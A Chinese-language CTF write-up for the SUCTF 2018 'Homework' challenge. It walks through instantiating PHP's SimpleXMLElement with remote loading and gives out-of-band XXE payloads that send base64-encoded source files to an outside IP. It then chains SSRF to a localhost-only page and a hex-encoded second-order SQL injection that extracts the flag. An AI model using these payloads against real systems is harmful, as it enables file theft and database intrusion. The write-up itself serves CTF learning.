2018 SUCTF Homework xxe外带数据~~ xxe进行ssrf

题目介绍

注册账号,登录作业平台。看到一个calc计算器类。有两个按钮,一个用于调用calc类实现两位数的四则运算。另一个用于提交代码。
在这里插入图片描述我们点击cacl按钮,计算2+2=4,我们观察参数,再结合代码可知module为调用的类,args为类的构造方法的参数~
在PHP中存在内置类。其中包括SimpleXMLElement,文档中对于SimpleXMLElement::__construct定义如下:
在这里插入图片描述在这里插入图片描述可以看到通过设置第三个参数为true,可实现远程xml文件载入。第二个参数的常量值我们设置为2即可。第二个参数可定义的所有常量在这里。第一个参数就是我们自己设置的payload的地址,用于引入外部实体。

我们构造的xml如下~

obj.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.0.159.143/e.xml">
%int;
%all;
%send;
]>

e.xml

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://174.0.159.143/?%payl;'>">

然后进入show.php页面~~我们的参数为:

/show.php?module=SimpleXMLElement&args[]=http://174.0.159.143/obj.xml&args[]=2&args[]=true

第一个参数为我们obj.xml的地址,这样就能加载obj.xml,再加载e.xml,网站的源码带出~~

function.php

<?php

function sql_result($sql,$mysql){
	if($result=mysqli_query($mysql,$sql)){
		$result_array=mysqli_fetch_all($result);
		return $result_array;
	}else{
		 echo mysqli_error($mysql);
		 return "Failed";
	}
}

function upload_file($mysql){
	if($_FILES){
		if($_FILES['file']['size']>2*1024*1024){
			die("File is larger than 2M, forbidden upload");
		}
		if(is_uploaded_file($_FILES['file']['tmp_name'])){
			if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
				$filehash=md5(mt_rand());
				if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
				$new_filename="./upload/".$filehash.".txt";
				move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
				die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
			}else{
				$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
				$new_filename="./upload/".$hash[0][0].".txt";
				move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
				die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
			}
		}else{
			die("Not upload file");
		}
	}
}



function w_addslashes($string){
	return addslashes(trim($string));
}



function do_api($module,$args){
	$class = new ReflectionClass($module);
	$a=$class->newInstanceArgs($args);
}
?>

show.php

<?php
	include("function.php");
	include("config.php");
	include("calc.php");

	if(isset($_GET['action'])&&$_GET['action']=="view"){
		if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
		if(!empty($_GET['filename'])){
			$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
			$file_name=$file_info['0']['2'];
			echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
			$new_sig=mt_rand();
			sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
			die("<br>new sig:".$new_sig);
		}else{
			die("Null filename");
		}
	}

	$username=w_addslashes($_COOKIE['user']);
	$check_code=$_COOKIE['cookie-check'];
	$check_sql="select password from user where username='".$username."'";
	$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
	if($check_sum!==$check_code){
		header("Location: login.php");
	}

	$module=$_GET['module'];
	$args=$_GET['args'];
	do_api($module,$args);
?>

我们审计一下源码,可以发现文件上传存在二次注入~~
在这里插入图片描述在这里插入图片描述在show.php中,直接将数据库中的数据取出然后放入sql语句中~~
我们存放sig的时候 可以传入十六进制~~
但是这儿有一个问题,我们必须是127.0.0.1才能访问show.php页面,展示图片信息~~
由于show.php页面会直接返回我们注入的信息,所以我们还是可以用xml将信息带出~~

e.xml

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=4.txt">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://174.0.159.143/?%payl;'>">

这儿我们上传的文件为4.txt,然后我们上传的十六进制为:

0x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c3078376529297c7c27

解码为:

'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'

我这儿加了一个reverse,是因为buu上面的flag过长,不能一下报错读取完,所以我分两次读取~~
在这里插入图片描述
上传玩文件后再进入一下这个页面,就能在服务器上读取信息了~~
在这里插入图片描述

/show.php?module=SimpleXMLElement&args[]=http://174.0.159.143/obj.xml&args[]=2&args[]=true
总结

我们上传文件的时候,如果已经上传了1.txt,如果还想注入下一个sql语句,我们就得更换文件名,注意将e.xml中的上传文件名也换过来~~

这道题目只要是利用了

  • php的调用类
  • xxe外带数据
  • xxe进行ssrf
发布了81 篇原创文章 · 获赞 10 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/104288865
xxe